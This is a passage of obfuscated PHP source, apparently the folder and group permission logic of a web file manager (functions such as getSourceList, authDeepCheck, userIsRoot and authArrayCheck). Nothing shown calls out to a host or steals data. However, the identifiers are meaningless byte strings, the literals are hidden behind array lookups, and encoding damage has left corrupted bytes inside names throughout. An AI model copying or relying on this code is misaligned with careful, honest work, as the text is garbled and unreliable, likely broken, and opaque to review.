intval($ÃÒþã¿ß[$­<>оÛ[475]]) : 0, $­<>оÛ[2131] => isset($ÃÒþã¿ß[$­<>оÛ[2131]]) ? intval($ÃÒþã¿ß[$­<>оÛ[2131]]) : -1); } $Óä˜<C3A4>Ûø[] = array($­<>оÛ[193] => $ÐÊò£Æ [$­<>оÛ[193]], $­<>оÛ[190] => SourceModel::TYPE_USER, $­<>оÛ[569] => intval($¶¥¼–ÖÈ), $­<>оÛ[2070] => intval($–Ä—Ù•»), $­<>оÛ[2131] => -1); $this->where(array($­<>оÛ[491] => $ÐÊò£Æ [$­<>оÛ[193]]))->delete(); $this->addAll($Óä˜<C3A4>Ûø); } return !0; } public function get($º®è<C2AE>·¥) { $•<>µ®ÝÀ = $this->getSourceList(array($º®è<C2AE>·¥), !0); return $•<>µ®ÝÀ[0]; } public function getSourceList($¼§ñøÈ<C3B8>, $ªªÍÆÑÝ = false, $þÖÈç« = false) { $Æœ¼êŠù =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¼§ñøÈ<C3B8>) { return array(); } $‚“¾ÒÇ = Model($Æœ¼êŠù[1411]); if (!$ªªÍÆÑÝ && count($¼§ñøÈ<C3B8>) == 1) { $ªªÍÆÑÝ = array(); $ªªÍÆÑÝ[$¼§ñøÈ<C3B8>[0]] = $‚“¾ÒÇ->sourceInfo($¼§ñøÈ<C3B8>[0]); } if (!$ªªÍÆÑÝ) { $‡ÆÈ솸 = array($Æœ¼êŠù[491] => array($Æœ¼êŠù[492], $¼§ñøÈ<C3B8>)); $ªªÍÆÑÝ = $‚“¾ÒÇ->field($Æœ¼êŠù[2155])->where($‡ÆÈ솸)->select(); $ªªÍÆÑÝ = array_to_keyvalue($ªªÍÆÑÝ, $Æœ¼êŠù[193]); } $öº‘‡„‹ = $¼§ñøÈ<C3B8>; foreach ($ªªÍÆÑÝ as $„€½ÌÛ® => $ÌÙ²ž›“) { $<24>ʰþÏÆ = $‚“¾ÒÇ->parentLevelArray($ÌÙ²ž›“[$Æœ¼êŠù[584]]); $öº‘‡„‹ = array_merge($öº‘‡„‹, array($„€½ÌÛ®), array_reverse($<24>ʰþÏÆ)); } $öº‘‡„‹ = array_values(array_unique($öº‘‡„‹)); if (!$öº‘‡„‹) { return array(); } $Òû¼–ÕÅ = $this->sourceAuthSelect($öº‘‡„‹); $¶ú©©¬  = array(); foreach ($öº‘‡„‹ as $<24>ðÌ®¸ö) { if (isset($Òû¼–ÕÅ[$<24>ðÌ®¸ö])) { $¶ú©©¬ [$<24>ðÌ®¸ö] = $Òû¼–ÕÅ[$<24>ðÌ®¸ö]; } } $€Ê™Ùúª = $this->userIsRoot($þÖÈç«); $´<>Ìò”é = AuthModel::authAll(); $ÝËØßŒ¯ = array($Æœ¼êŠù[488] => $´<>Ìò”é, $Æœ¼êŠù[2156] => array($Æœ¼êŠù[493] => 0, $Æœ¼êŠù[1968] => $´<>Ìò”é, $Æœ¼êŠù[494] => LNG($Æœ¼êŠù[2157]), $Æœ¼êŠù[1985] => $Æœ¼êŠù[2158])); $èëٕʹ = array(); foreach ($ªªÍÆÑÝ as $<24>ðÌ®¸ö => $ãý¸Ççì) { if ($€Ê™Ùúª && $GLOBALS[$Æœ¼êŠù[6]][$Æœ¼êŠù[1981]]) { $èëٕʹ[$<24>ðÌ®¸ö] = $ÝËØßŒ¯; continue; } $èëٕʹ[$<24>ðÌ®¸ö] = $this->makeSourceAuth($ãý¸Ççì, $¶ú©©¬ , $þÖÈç«); } return $èëٕʹ; } public function authDeepCheck($¹¹é¥ü…, $¡¸žõ<C5BE>Ý = false) { $ìÛž<C39B>Ê =& $_SERVER[ˆ¡¹µ‹Â]; $¡¸žõ<C5BE>Ý = $¡¸žõ<C5BE>Ý ? $¡¸žõ<C5BE>Ý : USER_ID; $ð¯‹ÂÍ÷ = $this->makeAuthDeep($¡¸žõ<C5BE>Ý); if (!in_array($¹¹é¥ü…, $ð¯‹ÂÍ÷[$ìÛž<C39B>Ê[2159]])) { return !1; } $àï»¶Ÿ‘ = array(); foreach ($ð¯‹ÂÍ÷[$ìÛž<C39B>Ê[2160]] as $ꃃ»Ï° => $×<>†È½¤) { if (!in_array($¹¹é¥ü…, $×<>†È½¤)) { continue; } $àï»¶Ÿ‘[] = $ꃃ»Ï°; } if (!$àï»¶Ÿ‘) { return !1; } $åžÑáì‹ = $àï»¶Ÿ‘ ? $àï»¶Ÿ‘[0] : $¹¹é¥ü…; return array($ìÛž<C39B>Ê[488] => -1, $ìÛž<C39B>Ê[540] => array($ìÛž<C39B>Ê[493] => $ìÛž<C39B>Ê[1266], $ìÛž<C39B>Ê[1968] => $ìÛž<C39B>Ê[228], $ìÛž<C39B>Ê[494] => LNG($ìÛž<C39B>Ê[2161]), $ìÛž<C39B>Ê[1985] => $ìÛž<C39B>Ê[2162]), $ìÛž<C39B>Ê[2163] => LNG($ìÛž<C39B>Ê[2164]), $ìÛž<C39B>Ê[2165] => $this->sourceAuthInfo($åžÑáì‹)); } protected function makeAuthDeep($¨õàäÚˆ = false) { $Ãéç¤Ã¾ =& $_SERVER[ˆ¡¹µ‹Â]; static $ìƒÏ–µÎ = array(); $¨õàäÚˆ = $¨õàäÚˆ ? $¨õàäÚˆ : USER_ID; if (isset($ìƒÏ–µÎ[$¨õàäÚˆ])) { return $ìƒÏ–µÎ[$¨õàäÚˆ]; } $ÃÛÓ÷½ë = Model($Ãéç¤Ã¾[2166])->listData(); $ûçàç½® = array(); foreach ($ÃÛÓ÷½ë as $ßõ¦ëÑ›) { if ($ßõ¦ëÑ›[$Ãéç¤Ã¾[487]] == 0 && $ßõ¦ëÑ›[$Ãéç¤Ã¾[1984]] == $Ãéç¤Ã¾[91]) { $ûçàç½®[] = $ßõ¦ëÑ›[$Ãéç¤Ã¾[475]]; } } $ðþã«Â” = $this->userGroupParents($¨õàäÚˆ); $†¾çá§õ = array($Ãéç¤Ã¾[190] => SourceModel::TYPE_USER, $Ãéç¤Ã¾[569] => $¨õàäÚˆ); if ($ðþã«Â”) { $†¾çá§õ = array(array($Ãéç¤Ã¾[190] => SourceModel::TYPE_USER, $Ãéç¤Ã¾[569] => $¨õàäÚˆ), array($Ãéç¤Ã¾[190] => SourceModel::TYPE_GROUP, $Ãéç¤Ã¾[569] => array($Ãéç¤Ã¾[492], $ðþã«Â”)), $Ãéç¤Ã¾[1071] => $Ãéç¤Ã¾[2064]); } $’·¥è’Þ = $this->field($Ãéç¤Ã¾[2167])->where($†¾çá§õ)->select(); $à™Ý“·Ñ = array(); $ž¿íÕˆ¹ = array_to_keyvalue_group($’·¥è’Þ, $Ãéç¤Ã¾[193]); foreach ($ž¿íÕˆ¹ as $ì¹Ô Þ– => $‹È¶¼§­) { $·Â£Ø <C398> = $this->authArrayCheck($‹È¶¼§­, $¨õàäÚˆ); if ($·Â£Ø <C398>[$Ãéç¤Ã¾[488]] > 0) { $à™Ý“·Ñ[] = $ì¹Ô Þ– . $Ãéç¤Ã¾[12]; } } if ($ðþã«Â”) { $йŸ<C2B9>åÞ = Model($Ãéç¤Ã¾[585]); foreach ($ðþã«Â” as $ŽñÒ) { $âü¼å‚˜ = $йŸ<C2B9>åÞ->getInfo($ŽñÒ); if (!$âü¼å‚˜ || !is_array($âü¼å‚˜[$Ãéç¤Ã¾[90]])) { continue; } $à™Ý“·Ñ[] = $âü¼å‚˜[$Ãéç¤Ã¾[90]][$Ãéç¤Ã¾[193]]; } } $ÊÏÑÛÂ¥ = array(); $¸­Ûîü<C3AE> = $ðþã«Â”; $žãë¾£Ù = Model($Ãéç¤Ã¾[1411]); $йŸ<C2B9>åÞ = Model($Ãéç¤Ã¾[585]); $›ëè›âÜ = array(); $‹àøÖÍŸ = array(); $<24>˜ÅÈáæ = array(); $ĦŸ–ßù = array(); if ($à™Ý“·Ñ) { $<24>ÎÔ ÀÓ = $žãë¾£Ù->where(array($Ãéç¤Ã¾[193] => array($Ãéç¤Ã¾[492], $à™Ý“·Ñ)))->select(); foreach ($<24>ÎÔ ÀÓ as $«„ãÄ™Ï) { $ý…Û¤«¿ = $žãë¾£Ù->parentLevelArray($«„ãÄ™Ï[$Ãéç¤Ã¾[584]]); $ÊÏÑÛÂ¥ = array_merge($ÊÏÑÛÂ¥, $ý…Û¤«¿); $¸­Ûîü<C3AE>[] = $«„ãÄ™Ï[$Ãéç¤Ã¾[569]]; $›ëè›âÜ[$«„ãÄ™Ï[$Ãéç¤Ã¾[193]]] = $ý…Û¤«¿; $‹àøÖÍŸ[$«„ãÄ™Ï[$Ãéç¤Ã¾[193]]] = $«„ãÄ™Ï[$Ãéç¤Ã¾[569]]; } } $¸­Ûîü<C3AE> = array_values(array_unique($¸­Ûîü<C3AE>)); $·×¬ù°ª = $¸­Ûîü<C3AE>; foreach ($·×¬ù°ª as $ŽñÒ) { $âü¼å‚˜ = $йŸ<C2B9>åÞ->getInfo($ŽñÒ); $ý…Û¤«¿ = $žãë¾£Ù->parentLevelArray($âü¼å‚˜[$Ãéç¤Ã¾[584]]); $¸­Ûîü<C3AE> = array_merge($¸­Ûîü<C3AE>, $ý…Û¤«¿); } $¸­Ûîü<C3AE> = array_values(array_unique($¸­Ûîü<C3AE>)); foreach ($¸­Ûîü<C3AE> as $ŽñÒ) { $âü¼å‚˜ = $йŸ<C2B9>åÞ->getInfo($ŽñÒ); $ÊÏÑÛÂ¥[] = $âü¼å‚˜[$Ãéç¤Ã¾[90]][$Ãéç¤Ã¾[193]]; $<24>˜ÅÈáæ[$ŽñÒ] = $âü¼å‚˜[$Ãéç¤Ã¾[90]][$Ãéç¤Ã¾[193]]; $ĦŸ–ßù[$ŽñÒ] = $žãë¾£Ù->parentLevelArray($âü¼å‚˜[$Ãéç¤Ã¾[584]]); } foreach ($›ëè›âÜ as $ˆÊÜ»ªÐ => $<24>Ÿ<EFBFBD>) { $±Õ‡ù¸é = $‹àøÖÍŸ[$ˆÊÜ»ªÐ]; if (!$±Õ‡ù¸é || !$<24>˜ÅÈáæ[$±Õ‡ù¸é]) { continue; } $³…칪ø = array(); foreach ($ĦŸ–ßù[$±Õ‡ù¸é] as $ŽñÒ) { $³…칪ø[] = $<24>˜ÅÈáæ[$ŽñÒ]; } $›ëè›âÜ[$ˆÊÜ»ªÐ] = array_merge($³…칪ø, $<24>Ÿ<EFBFBD>); } $ÊÏÑÛÂ¥ = array_values(array_unique($ÊÏÑÛÂ¥)); $´®Ü…éî = array($Ãéç¤Ã¾[2159] => $ÊÏÑÛÂ¥, $Ãéç¤Ã¾[2160] => $›ëè›âÜ); $ìƒÏ–µÎ[$¨õàäÚˆ] = $´®Ü…éî; return $´®Ü…éî; } private function makeSourceAuth($ߥˆò<CB86>ç, $ïÃÝ„óæ, $­°·<C2B0>î<EFBFBD> = false) { $מ¸¿Õ­ =& $_SERVER[ˆ¡¹µ‹Â]; $ÒÍ Þ”” = $מ¸¿Õ­[91]; $Ý<>“½à<C2BD> = $ߥˆò<CB86>ç[$מ¸¿Õ­[569]]; $¥Ãšˆæ„ = $ߥˆò<CB86>ç[$מ¸¿Õ­[190]] == SourceModel::TYPE_GROUP; $û’ÅÂÀ¡ = $¥Ãšˆæ„ ? $this->groupRootAuth($Ý<>“½à<C2BD>, $­°·<C2B0>î<EFBFBD>) : !1; if ($û’ÅÂÀ¡ && Model($מ¸¿Õ­[571])->authCheckAction($û’ÅÂÀ¡[$מ¸¿Õ­[487]], $מ¸¿Õ­[1983])) { return $this->groupAuthInfo($û’ÅÂÀ¡, $Ý<>“½à<C2BD>); } $ߟþÇæ˜ = Model($מ¸¿Õ­[1411])->parentLevelArray($ߥˆò<CB86>ç[$מ¸¿Õ­[584]]); $ߟþÇæ˜ = array_merge(array($ߥˆò<CB86>ç[$מ¸¿Õ­[193]]), array_reverse($ߟþÇæ˜)); $ÅúÂ÷‹ˆ = !1; foreach ($ߟþÇæ˜ as $¦‰<C2A6>¬ƒ ) { if (!isset($ïÃÝ„óæ[$¦‰<C2A6>¬ƒ ])) { continue; } $’é„å´¢ = $this->authMake($ïÃÝ„óæ[$¦‰<C2A6>¬ƒ ], $­°·<C2B0>î<EFBFBD>); if ($’é„å´¢[$מ¸¿Õ­[540]]) { $ÅúÂ÷‹ˆ = $’é„å´¢; break; } } if (!$¥Ãšˆæ„) { return $ÅúÂ÷‹ˆ; } if (!$ÅúÂ÷‹ˆ && $û’ÅÂÀ¡) { $ÅúÂ÷‹ˆ = $this->groupAuthInfo($û’ÅÂÀ¡, $Ý<>“½à<C2BD>); } if (!$ÅúÂ÷‹ˆ) { $쥳»ÆÆ = Model($מ¸¿Õ­[585])->getInfo($Ý<>“½à<C2BD>); $”Û’Ñ—ó = explode($מ¸¿Õ­[50], trim($쥳»ÆÆ[$מ¸¿Õ­[584]], $מ¸¿Õ­[50])); $”Û’Ñ—ó = array_reverse($”Û’Ñ—ó); foreach ($”Û’Ñ—ó as $‚Ïëç½Í) { if ($‚Ïëç½Í == $מ¸¿Õ­[228] || $‚Ïëç½Í == $ÒÍ Þ””) { continue; } $—ð‚ó¾ó = $this->groupRootAuth($‚Ïëç½Í, $­°·<C2B0>î<EFBFBD>); if (!$—ð‚ó¾ó) { continue; } $ÅúÂ÷‹ˆ = $this->groupAuthInfo($—ð‚ó¾ó, $‚Ïëç½Í); break; } } if (!$ÅúÂ÷‹ˆ || $ÅúÂ÷‹ˆ[$מ¸¿Õ­[488]] <= 0) { $¬¿þÜìÉ = $this->authDeepCheck($ߥˆò<CB86>ç[$מ¸¿Õ­[193]], $­°·<C2B0>î<EFBFBD>); if ($¬¿þÜìÉ) { $ÅúÂ÷‹ˆ = $¬¿þÜìÉ; } } return $ÅúÂ÷‹ˆ; } private function userIsRoot($<24> çÇ® = false) { $ ªÄˆïæ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$<24> çÇ® && KodUser::isRoot()) { return !0; } $·Ú¦³”” = Model($ ªÄˆïæ[598])->getInfo($<24> çÇ®); $ÝÛ”Ãû<C383> = Model($ ªÄˆïæ[2168])->listData($·Ú¦³””[$ ªÄˆïæ[2169]]); if ($ÝÛ”Ãû<C383> && $ÝÛ”Ãû<C383>[$ ªÄˆïæ[575]][$ ªÄˆïæ[2170]] == 1) { return !0; } return !1; } private function sourceAuthInfo($º“ûá‰<C3A1>) { $Ÿ‰ÝÓžõ =& $_SERVER[ˆ¡¹µ‹Â]; $ç°”×ñŽ = Model($Ÿ‰ÝÓžõ[1411]); $®˜œ»â<C2BB> = $ç°”×ñŽ->sourceInfo($º“ûá‰<C3A1>); if (!$®˜œ»â<C2BB>) { return !1; } $ç°”×ñŽ->groupPathDisplay($®˜œ»â<C2BB>); $¬”ÙÞ¥Õ = array($®˜œ»â<C2BB>); $¬”ÙÞ¥Õ = $ç°”×ñŽ->_listAppendPath($¬”ÙÞ¥Õ); $®˜œ»â<C2BB> = $¬”ÙÞ¥Õ[0]; $Ùí<C399>÷<EFBFBD>þ = $®˜œ»â<C2BB>[$Ÿ‰ÝÓžõ[582]]; if (isset($®˜œ»â<C2BB>[$Ÿ‰ÝÓžõ[590]])) { $ã÷´<C3B7><C2B4>½ = explode($Ÿ‰ÝÓžõ[8], trim($®˜œ»â<C2BB>[$Ÿ‰ÝÓžõ[582]], $Ÿ‰ÝÓžõ[8])); array_shift($ã÷´<C3B7><C2B4>½); $Ùí<C399>÷<EFBFBD>þ = $®˜œ»â<C2BB>[$Ÿ‰ÝÓžõ[588]] . $Ÿ‰ÝÓžõ[2171] . implode($Ÿ‰ÝÓžõ[8], $ã÷´<C3B7><C2B4>½); } return array($Ÿ‰ÝÓžõ[494] => $®˜œ»â<C2BB>[$Ÿ‰ÝÓžõ[32]], $Ÿ‰ÝÓžõ[87] => KodIO::make($®˜œ»â<C2BB>[$Ÿ‰ÝÓžõ[193]]), $Ÿ‰ÝÓžõ[2172] => $Ùí<C399>÷<EFBFBD>þ); } private function groupAuthInfo($<24>èÅ໸, $¤û<C2A4>þëƒ) { $ÎêÓØèö =& $_SERVER[ˆ¡¹µ‹Â]; $¾ãñ¸Îë = Model($ÎêÓØèö[585])->getInfo($¤û<C2A4>þëƒ); return array($ÎêÓØèö[2173] => intval($<24>èÅ໸[$ÎêÓØèö[487]]), $ÎêÓØèö[2156] => $<24>èÅ໸, $ÎêÓØèö[2174] => LNG($ÎêÓØèö[2175]), $ÎêÓØèö[2165] => array($ÎêÓØèö[494] => $¾ãñ¸Îë[$ÎêÓØèö[32]], $ÎêÓØèö[87] => KodIO::make($¾ãñ¸Îë[$ÎêÓØèö[90]][$ÎêÓØèö[193]]), $ÎêÓØèö[2172] => $¾ãñ¸Îë[$ÎêÓØèö[589]])); } protected function groupRootAuth($¿ó½žù•, $窫Ì<C2AB>ò = false) { $ÞÇ÷Çéé =& $_SERVER[ˆ¡¹µ‹Â]; $窫Ì<C2AB>ò = $窫Ì<C2AB>ò ? $窫Ì<C2AB>ò : USER_ID; $£ýæãéÜ = $窫Ì<C2AB>ò . $ÞÇ÷Çéé[2176] . $¿ó½žù•; static $”ù¡Á³É = array(); if (isset($”ù¡Á³É[$£ýæãéÜ])) { return $”ù¡Á³É[$£ýæãéÜ]; } $ÔòÁããß = Model($ÞÇ÷Çéé[585])->getInfo($¿ó½žù•); $Éùˤêë = $this->userGroupList($窫Ì<C2AB>ò); $ÈÖ©÷î— = isset($Éùˤêë[$¿ó½žù•]) ? $Éùˤêë[$¿ó½žù•][$ÞÇ÷Çéé[487]] : !1; if ($ÈÖ©÷î— && Model($ÞÇ÷Çéé[571])->authCheckAction($ÈÖ©÷î—[$ÞÇ÷Çéé[487]], $ÞÇ÷Çéé[1983])) { $”ù¡Á³É[$£ýæãéÜ] = $ÈÖ©÷î—; return $ÈÖ©÷î—; } $ÌŠ›™ºó = $this->sourceAuthSelect($ÔòÁããß[$ÞÇ÷Çéé[90]][$ÞÇ÷Çéé[193]]); $»™¥³ó® = $ÌŠ›™ºó ? $this->authMake($ÌŠ›™ºó, $窫Ì<C2AB>ò) : !1; $Ø›·ðÎü = $»™¥³ó® ? $»™¥³ó®[$ÞÇ÷Çéé[540]] : !1; $”ù¡Á³É[$£ýæãéÜ] = $Ø›·ðÎü ? $Ø›·ðÎü : $ÈÖ©÷î—; return $”ù¡Á³É[$£ýæãéÜ]; } public function authOwnerApply($êÅôÌ­å) { $‰Ó²¯åœ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($êÅôÌ­å[$‰Ó²¯åœ[487]]) || isset($êÅôÌ­å[$‰Ó²¯åœ[2177]]) && $êÅôÌ­å[$‰Ó²¯åœ[2177]]) { return $êÅôÌ­å; } if (AuthModel::authCheckRoot($êÅôÌ­å[$‰Ó²¯åœ[487]][$‰Ó²¯åœ[488]])) { return $êÅôÌ­å; } $òüþž‘‹ = Model($‰Ó²¯åœ[1411])->parentLevelArray($êÅôÌ­å[$‰Ó²¯åœ[584]]); $òüþž‘‹ = array_merge(array($êÅôÌ­å[$‰Ó²¯åœ[193]]), array_reverse($òüþž‘‹)); $Þˆ„çØ<C3A7> = $this->sourceAuthSelect($òüþž‘‹); $‹Áպʚ = array(); $ĺþ£¬è = array(); foreach ($Þˆ„çØ<C3A7> as $à×ÀØœ£ => $ÎÑç¢<C3A7>‡) { $Œ¡±¦¨ê = $this->authFolderOwnerUser($ÎÑç¢<C3A7>‡); $‹Áպʚ[$à×ÀØœ£] = $Œ¡±¦¨ê; $ĺþ£¬è = array_merge($ĺþ£¬è, $Œ¡±¦¨ê[$‰Ó²¯åœ[662]]); if ($Œ¡±¦¨ê[$‰Ó²¯åœ[2178]]) { break; } } if (count($ĺþ£¬è) == 0) { $ĺþ£¬è = $this->authFolderOwnerGroup($êÅôÌ­å[$‰Ó²¯åœ[569]]); } $ĺþ£¬è = array_unique($ĺþ£¬è); if (AuthModel::authCheckRoot($êÅôÌ­å[$‰Ó²¯åœ[487]][$‰Ó²¯åœ[488]])) { $ĺþ£¬è[] = USER_ID; } $êÅôÌ­å[$‰Ó²¯åœ[487]][$‰Ó²¯åœ[2179]] = Model($‰Ó²¯åœ[577])->userListInfo($ĺþ£¬è); return $êÅôÌ­å; } private function authFolderOwnerGroup($Õ¸Âàûå) { $¤³¨¨Ÿ´ =& $_SERVER[ˆ¡¹µ‹Â]; $íìƒ<C3AC>ºð = Model($¤³¨¨Ÿ´[2056])->where(array($¤³¨¨Ÿ´[1962] => $Õ¸Âàûå))->select(); $Л£öõî = array(); if (!$íìƒ<C3AC>ºð) { return $Л£öõî; } foreach ($íìƒ<C3AC>ºð as $âÂï¯Øò) { $íÆÀ×Àç = $this->authInfo($âÂï¯Øò); if (AuthModel::authCheckRoot($íÆÀ×Àç[$¤³¨¨Ÿ´[487]])) { $Л£öõî[] = $âÂï¯Øò[$¤³¨¨Ÿ´[1763]]; } } return $Л£öõî; } private function authFolderOwnerUser($òýä™ä<E284A2>) { $<24>ÏìãûÄ =& $_SERVER[ˆ¡¹µ‹Â]; $É©„ºôƒ = array(); $<24>ÌäÎË = !1; foreach ($òýä™ä<E284A2> as $<24>Ó¶øÒÎ) { $£´²•õ¸ = $this->authInfo($<24>Ó¶øÒÎ); if ($<24>Ó¶øÒÎ[$<24>ÏìãûÄ[569]] == $<24>ÏìãûÄ[228]) { $<24>ÌäÎË = !0; } if ($<24>Ó¶øÒÎ[$<24>ÏìãûÄ[190]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($£´²•õ¸[$<24>ÏìãûÄ[487]])) { $É©„ºôƒ[] = $<24>Ó¶øÒÎ[$<24>ÏìãûÄ[569]]; } } } return array($<24>ÏìãûÄ[662] => $É©„ºôƒ, $<24>ÏìãûÄ[2178] => $<24>ÌäÎË); } public function authMake($ò©Ê­ˆÇ, $ã¯ÑÂÛŸ = false) { $²´Õ´‚¬ =& $_SERVER[ˆ¡¹µ‹Â]; $Ú›®¸ÂÇ = $this->authArrayCheck($ò©Ê­ˆÇ, $ã¯ÑÂÛŸ); if ($Ú›®¸ÂÇ[$²´Õ´‚¬[2180]]) { $Ú›®¸ÂÇ[$²´Õ´‚¬[2180]] = $this->sourceAuthInfo($Ú›®¸ÂÇ[$²´Õ´‚¬[2180]]); } return $Ú›®¸ÂÇ; } public function authArrayCheck($ɤ<C389>ͤ, $Ø–é¹½í = false) { $ñé¢ÇÀ² =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ɤ<C389>ͤ) { return array($ñé¢ÇÀ²[488] => 0, $ñé¢ÇÀ²[540] => !1); } $Ø–é¹½í = $Ø–é¹½í ? $Ø–é¹½í : USER_ID; $‹Üäì¶ì = 0; $ÆŽ¯¿šß = 0; $à‡ÕðÛú = 0; $¡ÔÕ˜“Ù = 0; $Êí¨¯•<C2AF> = 0; $†Ðßê‡æ = 0; $§µ µ±” = 1000; $‡·îÇ<C3AE>¾ = 0; $ø¬³ßôŸ = 0; $¨îëÇé¥ = 0; $Òïøªô× = 0; $é¥ÇÛÚƒ = array($ñé¢ÇÀ²[193] => 0); foreach ($ɤ<C389>ͤ as $é¥ÇÛÚƒ) { $<24>ëó†éÈ = $this->authInfo($é¥ÇÛÚƒ); if (!$<24>ëó†éÈ) { continue; } $<24>îüñDz = $é¥ÇÛÚƒ[$ñé¢ÇÀ²[569]]; $Õã…õ’‚ = intval($<24>ëó†éÈ[$ñé¢ÇÀ²[487]]); if ($é¥ÇÛÚƒ[$ñé¢ÇÀ²[190]] == SourceModel::TYPE_USER && $<24>îüñDz == $Ø–é¹½í) { $‹Üäì¶ì = !0; $à‡ÕðÛú = $<24>ëó†éÈ; $ÆŽ¯¿šß = $Õã…õ’‚; } else { if ($é¥ÇÛÚƒ[$ñé¢ÇÀ²[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($<24>îüñDz, $Ø–é¹½í)) { $¡ÔÕ˜“Ù = !0; $Їá›ß’ = $this->groupStepToUserGroup($<24>îüñDz, $Ø–é¹½í); if ($Їá›ß’ < $§µ µ±”) { $§µ µ±” = $Їá›ß’; $Êí¨¯•<C2AF> = $Õã…õ’‚; $†Ðßê‡æ = $<24>ëó†éÈ; $‡·îÇ<C3AE>¾ = $<24>îüñDz; } if ($Їá›ß’ == $§µ µ±” && $Õã…õ’‚ >= $Êí¨¯•<C2AF>) { $Êí¨¯•<C2AF> = $Õã…õ’‚; $†Ðßê‡æ = $<24>ëó†éÈ; $‡·îÇ<C3AE>¾ = $<24>îüñDz; } } else { if ($<24>îüñDz == $ñé¢ÇÀ²[228]) { $ø¬³ßôŸ = !0; $Òïøªô× = $<24>ëó†éÈ; $¨îëÇé¥ = $Õã…õ’‚; } } } } if ($‹Üäì¶ì) { $¿€¥¶ªö = $ÆŽ¯¿šß; $<24>ëó†éÈ = $à‡ÕðÛú; $úÑ«åÕ‰ = LNG($ñé¢ÇÀ²[2181]); } else { if ($¡ÔÕ˜“Ù) { $¿€¥¶ªö = $Êí¨¯•<C2AF>; $<24>ëó†éÈ = $†Ðßê‡æ; $¡ÊϤ¿ç = Model($ñé¢ÇÀ²[585])->getInfo($‡·îÇ<C3AE>¾); $úÑ«åÕ‰ = $ñé¢ÇÀ²[176] . $¡ÊϤ¿ç[$ñé¢ÇÀ²[589]] . $ñé¢ÇÀ²[2182] . LNG($ñé¢ÇÀ²[2183]); } else { if ($ø¬³ßôŸ) { $¿€¥¶ªö = $¨îëÇé¥; $<24>ëó†éÈ = $Òïøªô×; $úÑ«åÕ‰ = LNG($ñé¢ÇÀ²[2153]); } else { $¿€¥¶ªö = 0; $<24>ëó†éÈ = !1; $úÑ«åÕ‰ = $ñé¢ÇÀ²[12]; } } } $ûƒë”­ß = array($ñé¢ÇÀ²[2173] => intval($¿€¥¶ªö), $ñé¢ÇÀ²[2156] => $<24>ëó†éÈ, $ñé¢ÇÀ²[2174] => $úÑ«åÕ‰, $ñé¢ÇÀ²[2165] => $é¥ÇÛÚƒ[$ñé¢ÇÀ²[193]]); return $ûƒë”­ß; } private function groupContainUser($ÐÕÜýä§, $Ї¤­ýÍ = false) { return in_array($ÐÕÜýä§, $this->userGroupParents($Ї¤­ýÍ)); } private function groupStepToUserGroup($ûÍ­°åÏ, $¦¡¦÷Áà = false) { $<24>þŽÔÁ¹ =& $_SERVER[ˆ¡¹µ‹Â]; $ù‰ÙŸ¯Å = $this->userGroupList($¦¡¦÷Áà); $¬<>Íö¿Ù = 1000; $áʱ<C38A>ÖÕ = $GLOBALS[$<24>þŽÔÁ¹[6]][$<24>þŽÔÁ¹[92]][$<24>þŽÔÁ¹[2069]] == 1; $•Žóéñ” = $áʱ<C38A>ÖÕ ? 3 : 2; foreach ($ù‰ÙŸ¯Å as $»Ì³îêþ) { if ($»Ì³îêþ[$<24>þŽÔÁ¹[1962]] == $ûÍ­°åÏ) { return 0; } $ÁžåÈæš = explode($<24>þŽÔÁ¹[50], trim($»Ì³îêþ[$<24>þŽÔÁ¹[584]], $<24>þŽÔÁ¹[50])); if ($ÁžåÈæš[0] == $<24>þŽÔÁ¹[228] && count($ÁžåÈæš) > $•Žóéñ”) { $Éָȭˆ = array_reverse(array_slice($ÁžåÈæš, $•Žóéñ”)); $£ûËÏ€Ê = array_search($ûÍ­°åÏ, $Éָȭˆ); if ($£ûËÏ€Ê !== !1 && $£ûËÏ€Ê + 1 <= $¬<>Íö¿Ù) { $¬<>Íö¿Ù = $£ûËÏ€Ê + 1; } } } return $¬<>Íö¿Ù; } private function userGroupList($°ŠÆ±‰É = false) { $úǼޯœ =& $_SERVER[ˆ¡¹µ‹Â]; static $•‡ž×Õó = array(); if (isset($•‡ž×Õó[$°ŠÆ±‰É])) { return $•‡ž×Õó[$°ŠÆ±‰É]; } $¤Ú©<C39A>Ô = Model($úǼޯœ[598])->getInfo($°ŠÆ±‰É); $•‡ž×Õó[$°ŠÆ±‰É] = array_to_keyvalue($¤Ú©<C39A>Ô[$úǼޯœ[2154]], $úǼޯœ[1962]); return $•‡ž×Õó[$°ŠÆ±‰É]; } public function userGroupParents($œ¼<C593>§ÒÏ) { $ù±”²£³ =& $_SERVER[ˆ¡¹µ‹Â]; static $ëԋÛ´ = array(); $œ¼<C593>§ÒÏ = $œ¼<C593>§ÒÏ ? $œ¼<C593>§ÒÏ : USER_ID; if (isset($ëԋÛ´[$œ¼<C593>§ÒÏ])) { return $ëԋÛ´[$œ¼<C593>§ÒÏ]; } $á÷Á§Ç½ = $this->userGroupList($œ¼<C593>§ÒÏ); $跻›³ = array(); $âÎ€Ã²Ï = $GLOBALS[$ù±”²£³[6]][$ù±”²£³[92]][$ù±”²£³[2069]] == 1; $¥ÓÅ¡åè = $âÎ€Ã²Ï ? 3 : 2; foreach ($á÷Á§Ç½ as $Á€ô¡¨Ø) { $þøÄ®•é = array($Á€ô¡¨Ø[$ù±”²£³[1962]]); $<24>®ÀÜ­ = explode($ù±”²£³[50], trim($Á€ô¡¨Ø[$ù±”²£³[584]], $ù±”²£³[50])); if ($<24>®ÀÜ­[0] == $ù±”²£³[228] && count($<24>®ÀÜ­) > $¥ÓÅ¡åè) { $·”õ„á› = array_slice($<24>®ÀÜ­, $¥ÓÅ¡åè); $þøÄ®•é = array_merge($þøÄ®•é, array_reverse($·”õ„á›)); } $跻›³ = array_merge($跻›³, $þøÄ®•é); } $ëԋÛ´[$œ¼<C593>§ÒÏ] = array_unique($跻›³); return $ëԋÛ´[$œ¼<C593>§ÒÏ]; } public function authTargetInfoMake($Ì⊔ÍÅ) { $Œ”ݶ¿« =& $_SERVER[ˆ¡¹µ‹Â]; $Ä£òÏãæ = array(); $<24>«Âý£ø = array(); foreach ($Ì⊔ÍÅ as $Ô×¾®Þ”) { if ($Ô×¾®Þ”[$Œ”ݶ¿«[190]] == SourceModel::TYPE_USER) { $Ä£òÏãæ[] = intval($Ô×¾®Þ”[$Œ”ݶ¿«[569]]); } else 